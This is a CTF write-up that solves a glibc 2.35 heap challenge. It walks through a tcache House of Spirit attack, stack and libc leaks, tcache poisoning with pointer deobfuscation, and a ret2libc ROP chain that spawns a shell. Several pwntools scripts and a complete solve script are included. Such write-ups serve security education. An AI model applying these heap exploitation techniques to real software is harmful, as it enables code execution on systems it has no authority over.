I honestly didn't copy the description and they always don't open the challenges after the CTF, so that's that.
I solved this challenge after the CTF ended, so it isn't tested on the remote server.
Also, this challenge have no right to include 'baby' in the name...
Hint: House of Spirit
Solution
TL;DR
Create the 11th note to overflow the note_list global variable into note_cnt
Perform tcache house of spirit attack by creating a fake chunk on heap
Delete notes to decrement ptr stored in note_cnt. Decrement ptr till it points to the fake chunk
Read index 12 (gift) to get stack leak, use stack leak to find username buffer (or any buffer in main)
Get libc leak by freeing 8 chunks (UAF)
Free any index < 11, the free index 11 (note_cnt) to free the fake chunk, then free index where you wrote the fake chunk
Perform tcache poisoning with the freed fake chunk (need get key for ptr since glibc 2.35 is used). Overwrite fwd pointer of freed fake chunk with address of username buffer
Now perform BOF in username buffer, then perform simple ROP
Win
Initial Analysis
Decompiling the binary with ghidra, there are 3 main functions of the binary: create note, print note, delete note.
Looking at note_list in gdb, we can see it can store 10 address. The 11th address will be stored in note_cnt.
We also see that gift is right after note_cnt.
If we create 11 notes, we can see that note_cnt indeed got overwritten with a malloced ptr.
Stack Leak
Since the note_cnt is very high (because it is an address), we can now read index 12, which contains our gift. This allows for a stack leak and we can calculate the address of username.
Libc Leak
Looking at the delete function, we note that notes stored in index >= 11 will have a Use After Free (UAF) vulnerability, so we can leak the fwd of a chunk that is freed into unsorted bin, which would give us a libc leak.
To free a chunk into unsorted bin, we can allocate 8 chunks of the same size, then free all 8 chunks. The first 7 chunks that are freed should go into tcache bin, while the last would go into unsorted bin :)
leaking libc code
#!/usr/bin/env python3from pwn import*defoption(m): p.sendlineafter(b'[>] ',str(m).encode())defadd(size,m):option(1) p.sendlineafter(b'Input Size : ',str(size).encode()) p.sendafter(b'Input memo : ',m)defprint_note(index):option(2) p.sendlineafter(b'Input note index : ',str(index).encode())return p.recvuntil(b'\n[*]',drop=True)defdelete_note(index):option(3) p.sendlineafter(b'Select delete note index : ',str(index).encode())elf = context.binary =ELF("./challenge_patched")libc =ELF("./libc.so.6")# url,port = "34.141.229.188",1337if args.REMOTE: p =remote(url,port)else: p = elf.process()if args.GDB: gdb.attach(p)name =b'AAAA'p.sendlineafter(b'Input your name : ',name)for _ inrange(9):add(300,b'BBBB')add(300,b'DDDD')add(300,b'CCCC')add(300,b'CCCC')for _ inrange(8):add(500,b'NNNN')for _ inrange(21,21-8,-1):delete_note(_)libc_leak =u64(print_note(14).ljust(8,b'\x00'))print(hex(libc_leak))p.interactive()
House of Spirit Attack
Now we most importantly need an arbitrary write. To do this, we can utilize Tcache House of Spirit since there is no heap overflow or anything else we can leverage on.
So we can create a fake chunk on the heap. I created a fake chunk in index 10, with size of 0x140 containing DDDD.
create fake chunk code
#!/usr/bin/env python3from pwn import*defoption(m): p.sendlineafter(b'[>] ',str(m).encode())defadd(size,m):option(1) p.sendlineafter(b'Input Size : ',str(size).encode()) p.sendafter(b'Input memo : ',m)defprint_note(index):option(2) p.sendlineafter(b'Input note index : ',str(index).encode())return p.recvuntil(b'\n[*]',drop=True)defdelete_note(index):option(3) p.sendlineafter(b'Select delete note index : ',str(index).encode())elf = context.binary =ELF("./challenge_patched")libc =ELF("./libc.so.6")# url,port = "34.141.229.188",1337if args.REMOTE: p =remote(url,port)else: p = elf.process()if args.GDB: gdb.attach(p)name =b'AAAA'p.sendlineafter(b'Input your name : ',name)for _ inrange(9):add(300,b'BBBB')payload =b'\x00'*8*7payload +=p64(0x141)# creates fake chunkpayload +=b'DDDDDDDD'add(300,payload)# index 10add(300,b'CCCC')add(300,b'CCCC')# create and free 8 chunksfor _ inrange(8):add(500,b'NNNN')for _ inrange(21,21-8,-1):delete_note(_)# get unsorted bin fwd ptrstack_leak =u64(print_note(12).ljust(8,b'\x00'))print(hex(stack_leak))
We can see our fake chunk in the note of index 10:
Now that we have a fake chunk, we need to free it. Notice how note_cnt is always incrementing and decrementing whenever a note is created and deleted? We can utilize the pointer at the location by calling the delete function with a note index that contains 0 as an address, so it does free(0) which does nothing, but it also decrements our pointer at note_cnt by 1.
We can free the fake chunk now, but we first need to free another chunk so that our freed fake chunk's fwd ptr points to another freed chunk. This fwd ptr is the one we will be overwriting to point to any address to get arbitrary write.
We will also need to leak this fwd ptr to get the obfuscation key needed for our own ptr to work.
free fake chunk code
#!/usr/bin/env python3from pwn import*defoption(m): p.sendlineafter(b'[>] ',str(m).encode())defadd(size,m):option(1) p.sendlineafter(b'Input Size : ',str(size).encode()) p.sendafter(b'Input memo : ',m)defprint_note(index):option(2) p.sendlineafter(b'Input note index : ',str(index).encode())return p.recvuntil(b'\n[*]',drop=True)defdelete_note(index):option(3) p.sendlineafter(b'Select delete note index : ',str(index).encode())defdeobfuscate(val): mask =0xfff<<52while mask: v = val & mask val ^= (v >>12) mask >>=12return valelf = context.binary =ELF("./challenge_patched")libc =ELF("./libc.so.6")# url,port = "34.141.229.188",1337if args.REMOTE: p =remote(url,port)else: p = elf.process()if args.GDB: gdb.attach(p)name =b'AAAA'p.sendlineafter(b'Input your name : ',name)for _ inrange(9):add(300,b'BBBB')payload =b'\x00'*8*7payload +=p64(0x141)# creates fake chunkpayload +=b'DDDDDDDD'add(300,payload)# index 10add(300,b'CCCC')add(300,b'CCCC')# create and free 8 chunksfor _ inrange(8):add(500,b'NNNN')for _ inrange(21,21-8,-1):delete_note(_)# get unsorted bin fwd ptrstack_leak =u64(print_note(12).ljust(8,b'\x00'))print("Stack leak:",hex(stack_leak))username_ptr = stack_leak -336-8# decrement ptr at note_cnt to point to our fake chunkfor _ inrange(300+0x16-(8*8)):delete_note(30)p.interactive()delete_note(1)add(800,b'HHHH')# makes sure note_cnt is correctdelete_note(11)# frees fake chunkadd(800,b'HHHH')# makes sure note_cnt is correctptr =u64(print_note(11).ljust(8,b'\x00'))delete_note(10)# frees chunk containing our fake chunk to overwrite freed fake chunk ptrlibc_leak =u64(print_note(14).ljust(8,b'\x00'))libc_offset =0x7f9d4d619ed0-0x7f9d4d400000libc.address = libc_leak - libc_offsetprint("Libc leak:",hex(libc_leak))# needed for glibc 2.35 heap ptrsoriginal_ptr =deobfuscate(ptr)key = original_ptr ^ ptr
Now we can create a note with size of 300 bytes, then overwrite the fwd ptr of the fake chunk with our own. Remember that the ptr needs to be obfuscated, so we need to xor the key with the address we want to write to, then overwrite the fwd ptr with this obfuscated address (basically tcache poisoning).
Afterwards, we create a note of size 300 bytes to clear the first tcache ptr, then the next note of size 300 bytes we create will write to our address!
We can try to write a bunch of Z's to note_list to check if it works.
arbitrary write to note_list example code
#!/usr/bin/env python3from pwn import*defoption(m): p.sendlineafter(b'[>] ',str(m).encode())defadd(size,m):option(1) p.sendlineafter(b'Input Size : ',str(size).encode()) p.sendafter(b'Input memo : ',m)defprint_note(index):option(2) p.sendlineafter(b'Input note index : ',str(index).encode())return p.recvuntil(b'\n[*]',drop=True)defdelete_note(index):option(3) p.sendlineafter(b'Select delete note index : ',str(index).encode())defdeobfuscate(val): mask =0xfff<<52while mask: v = val & mask val ^= (v >>12) mask >>=12return valelf = context.binary =ELF("./challenge_patched")libc =ELF("./libc.so.6")# url,port = "34.141.229.188",1337if args.REMOTE: p =remote(url,port)else: p = elf.process()if args.GDB: gdb.attach(p)name =b'AAAA'p.sendlineafter(b'Input your name : ',name)for _ inrange(9):add(300,b'BBBB')payload =b'\x00'*8*7payload +=p64(0x141)# creates fake chunkpayload +=b'DDDDDDDD'add(300,payload)# index 10add(300,b'CCCC')add(300,b'CCCC')# create and free 8 chunksfor _ inrange(8):add(500,b'NNNN')for _ inrange(21,21-8,-1):delete_note(_)# get unsorted bin fwd ptrstack_leak =u64(print_note(12).ljust(8,b'\x00'))print("Stack leak:",hex(stack_leak))username_ptr = stack_leak -336-8# decrement ptr at note_cnt to point to our fake chunkfor _ inrange(300+0x16-(8*8)):delete_note(30)delete_note(1)add(800,b'HHHH')# makes sure note_cnt is correctdelete_note(11)# frees fake chunkadd(800,b'HHHH')# makes sure note_cnt is correctptr =u64(print_note(11).ljust(8,b'\x00'))delete_note(10)# frees chunk containing our fake chunk to overwrite freed fake chunk ptrlibc_leak =u64(print_note(14).ljust(8,b'\x00'))libc_offset =0x7f9d4d619ed0-0x7f9d4d400000libc.address = libc_leak - libc_offsetprint("Libc leak:",hex(libc_leak))# needed for glibc 2.35 heap ptrsoriginal_ptr =deobfuscate(ptr)key = original_ptr ^ ptrnote_list =0x404040# arbitrary writepayload =b'E'*32+p64(0)*3+p64(0x141)+p64(key^note_list)add(300,payload)add(300,b'AAAA')add(300,b'ZZZZZZZZ')p.interactive()
One easy way to get RCE is to point our address to the username buffer and overflow it, then we can perform a simple ret2libc through ROP.
Solve Script
solve.py
#!/usr/bin/env python3from pwn import*defoption(m): p.sendlineafter(b'[>] ',str(m).encode())defadd(size,m):option(1) p.sendlineafter(b'Input Size : ',str(size).encode()) p.sendafter(b'Input memo : ',m)defprint_note(index):option(2) p.sendlineafter(b'Input note index : ',str(index).encode())return p.recvuntil(b'\n[*]',drop=True)defdelete_note(index):option(3) p.sendlineafter(b'Select delete note index : ',str(index).encode())defdeobfuscate(val): mask =0xfff<<52while mask: v = val & mask val ^= (v >>12) mask >>=12return valelf = context.binary =ELF("./challenge_patched")libc =ELF("./libc.so.6")# url,port = "34.141.229.188",1337if args.REMOTE: p =remote(url,port)else: p = elf.process()if args.GDB: gdb.attach(p)name =b'AAAA'p.sendlineafter(b'Input your name : ',name)for _ inrange(9):add(300,b'BBBB')payload =b'\x00'*8*7payload +=p64(0x141)payload +=b'DDDDDDDD'add(300,payload)add(300,b'CCCC')add(300,b'CCCC')for _ inrange(8):add(500,b'NNNN')for _ inrange(21,21-8,-1):delete_note(_)for _ inrange(300+0x16-(8*8)):delete_note(30)stack_leak =u64(print_note(12).ljust(8,b'\x00'))print(hex(stack_leak))delete_note(1)add(800,b'HHHH')delete_note(11)add(800,b'HHHH')ptr =u64(print_note(11).ljust(8,b'\x00'))delete_note(10)libc_leak =u64(print_note(14).ljust(8,b'\x00'))libc_offset =0x7f9d4d619ed0-0x7f9d4d400000libc.address = libc_leak - libc_offsetprint(hex(libc_leak))original_ptr =deobfuscate(ptr)key = original_ptr ^ ptrusername_ptr = stack_leak -336-8# arbitrary writepayload =b'E'*32+p64(0)*3+p64(0x141)+p64(key^username_ptr)add(300,payload)add(300,b'AAAA')one_gadget = libc.address +0xebcf8pop_rdx_r12 = libc.address +0x000000000011f497pop_rsi = libc.address +0x000000000002be51pop_rdi = libc.address +0x000000000002a3e5payload =b'A'*48payload +=b'B'*8#rbppayload +=p64(pop_rdx_r12)+p64(0)+p64(0)payload +=p64(pop_rsi)+p64(0)payload +=p64(pop_rdi)+p64(next(libc.search(b'/bin/sh\x00')))payload +=p64(libc.sym['execve'])add(300,payload)option(4)p.interactive()p.close()# tcache house of spirit